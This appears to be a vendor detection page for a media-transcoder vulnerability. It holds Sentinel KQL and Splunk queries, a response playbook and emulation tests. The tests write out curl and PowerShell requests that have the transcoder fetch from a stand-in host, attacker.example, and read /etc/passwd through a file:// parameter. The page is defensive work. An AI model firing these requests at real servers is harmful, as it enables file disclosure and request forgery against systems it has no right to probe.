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CVE-2026-111793 Microsoft Sentinel · KQL

Detect Openwave Webtop Media Transcoder Incorrect Resource Transfer Between Spheres (CVE-2026-111793) in Microsoft Sentinel

Detects exploitation attempts against CVE-2026-111793, an Incorrect Resource Transfer Between Spheres vulnerability (CWE-669) in Openwave Messaging Limited's Webtop Media Transcoder. The flaw allows resources to be transferred across a trust boundary during media transcoding, enabling an attacker to access or deliver content that should be isolated. The CVE is listed in the CISA Known Exploited Vulnerabilities catalog (BOD 26-04), indicating confirmed in-the-wild exploitation. This detection surfaces anomalous transcoder requests, unexpected outbound fetches initiated by the transcoder service, and file writes outside the expected media working directories.

MITRE ATT&CK

Tactic
Initial Access Collection

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-4c7418b27a · https://df00tech.com/detections/CVE-2026-111793 · licence: https://df00tech.com/detections/licence
let transcoderHosts = dynamic([]);
let suspiciousExtensions = dynamic([".php",".jsp",".asp",".aspx",".sh",".py",".exe"]);
union isfuzzy=true
(
  W3CIISLog
  | where csUriStem has_any ("transcode", "transcoder", "media", "convert")
  | where cIP !startswith "10." and cIP !startswith "192.168."
  | where scStatus in ("200","500") and (csUriQuery has_any ("url=","src=","source=","uri=","file=") or csReferer == "-")
  | project TimeGenerated, SourceIP=cIP, Host=sComputerName, Uri=csUriStem, Query=csUriQuery, Status=scStatus
)
| summarize RequestCount=count(), SampleQueries=make_set(Query, 10) by SourceIP, Host, Uri, bin(TimeGenerated, 10m)
| where RequestCount >= 1
high severity medium confidence

Flags requests to the Webtop Media Transcoder endpoints that carry externally-supplied resource references (url/src/file parameters) consistent with Incorrect Resource Transfer Between Spheres exploitation.

Data Sources

IIS LogsWeb Server Logs

Required Tables

W3CIISLog

False Positives & Tuning

  • Legitimate transcoding jobs that reference internal media URLs for format conversion.
  • Automated media ingestion pipelines that pass source URIs as query parameters.
  • Security scanners or uptime monitors probing the transcoder endpoint.

Other platforms for CVE-2026-111793


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Transcoder request with external URL parameter

    Expected signal: Web/IIS log entry for the transcoder path containing a src= resource parameter from an external source.

  2. Test 2 Transcoder request referencing internal-only resource

    Expected signal: Transcoder access log entry with a uri= parameter pointing to a restricted local resource.

  3. Test 3 Repeated parameterized transcoder probing

    Expected signal: Multiple web log entries from a single source to the transcoder endpoint with url= parameters.


Response Playbook

Triage

  1. Confirm the targeted host runs Openwave Webtop Media Transcoder and determine its patch level against the vendor advisory CAN-2026-2032674.
  2. Extract the resource-reference parameter value (url/src/file/uri) from the flagged request and determine whether it points to an internal, restricted, or attacker-controlled resource.
  3. Review the transcoder service logs around the event time for errors, unexpected outbound fetches, or files written outside the designated media working directory.
  4. Correlate the source IP against threat intelligence and check whether it has touched other internet-facing services.

Containment

  1. Block the offending source IP(s) at the perimeter or WAF and rate-limit or disable external access to the transcoder endpoint.
  2. If exploitation is confirmed, isolate the transcoder host from untrusted networks and apply the vendor fix referenced in the advisory.
  3. Rotate any credentials or secrets that may have been exposed through improperly transferred resources.

Evidence Collection

  1. Preserve web/IIS and transcoder application logs covering the request window.
  2. Capture the transcoder process command lines, open files, and any newly created files in and around the media working directory.
  3. Snapshot network connection records showing outbound fetches initiated by the transcoder service.

Escalation Criteria

  • !Escalate to incident response if the transcoder fetched or served a resource from outside its intended trust boundary (e.g., internal-only or filesystem resource returned to an external client).
  • !Escalate if evidence shows file writes, process execution, or credential access following the transcoder request, indicating progression beyond initial access.

Investigation Guide

Forensic Artifacts

  • >Web/IIS access logs showing transcoder requests with resource-reference parameters.
  • >Transcoder application logs recording source URIs and fetch outcomes.
  • >Outbound network connection records attributable to the transcoder process.
  • >Unexpected files in or near the media working directory.

Tuning Guidance

Baseline the legitimate resource-reference values your transcoder workflow uses (internal media hostnames, allowed schemes) and allowlist them. Restrict the detection to externally-sourced IPs and to resource values whose host/scheme falls outside the approved set to reduce noise from normal transcoding jobs.


Hunting Queries

Enumerates distinct resource-reference values submitted to the transcoder to spot parameter values that cross the intended trust boundary.

Hunting — KQL
kql
// df00tech DF00-4c7418b27a · https://df00tech.com/detections/CVE-2026-111793 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("transcode","transcoder","media") | where csUriQuery has_any ("url=","src=","file=","uri=") | summarize count() by cIP, csUriQuery | sort by count_ desc
Hunting — SPL
spl
``` df00tech DF00-4c7418b27a · https://df00tech.com/detections/CVE-2026-111793 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*transcode*" OR uri_path="*media*") | rex field=uri_query "(?i)(url|src|source|uri|file)=(?<resval>[^&]+)" | stats count by src_ip, resval | sort -count

Atomic Red Team Tests

Test 1 Transcoder request with external URL parameter
linux

Submits a transcoder request supplying an external resource URL to emulate the cross-sphere resource reference vector.

Command

bash
curl -s -o /dev/null -w '%{http_code}' 'https://transcoder.lab.local/transcode?src=https://attacker.example/resource.mp3'

Cleanup

bash
echo 'No cleanup required; stateless HTTP request.'

Expected Telemetry

Web/IIS log entry for the transcoder path containing a src= resource parameter from an external source.

Expected Detection

KQL/SPL rules flag the request as carrying an external resource-reference parameter.

Test 2 Transcoder request referencing internal-only resource
linux

Attempts to have the transcoder fetch an internal-only resource via a file/uri parameter, emulating improper cross-sphere transfer.

Command

bash
curl -s 'https://transcoder.lab.local/media/convert?uri=file:///etc/passwd' -o /tmp/transcoder_test_out

Cleanup

bash
rm -f /tmp/transcoder_test_out

Expected Telemetry

Transcoder access log entry with a uri= parameter pointing to a restricted local resource.

Expected Detection

Resource-reference parameter rules match on the uri= value targeting an internal sphere.

Test 3 Repeated parameterized transcoder probing
windows

Issues multiple transcoder requests with varying resource parameters to emulate enumeration behavior.

Command

powershell
powershell -c "1..5 | ForEach-Object { Invoke-WebRequest -UseBasicParsing -Uri \"https://transcoder.lab.local/transcode?url=https://attacker.example/$_.mp4\" }"

Cleanup

powershell
echo No cleanup required

Expected Telemetry

Multiple web log entries from a single source to the transcoder endpoint with url= parameters.

Expected Detection

Aggregation-based detections surface the source IP with repeated parameterized transcoder requests.

Related Detections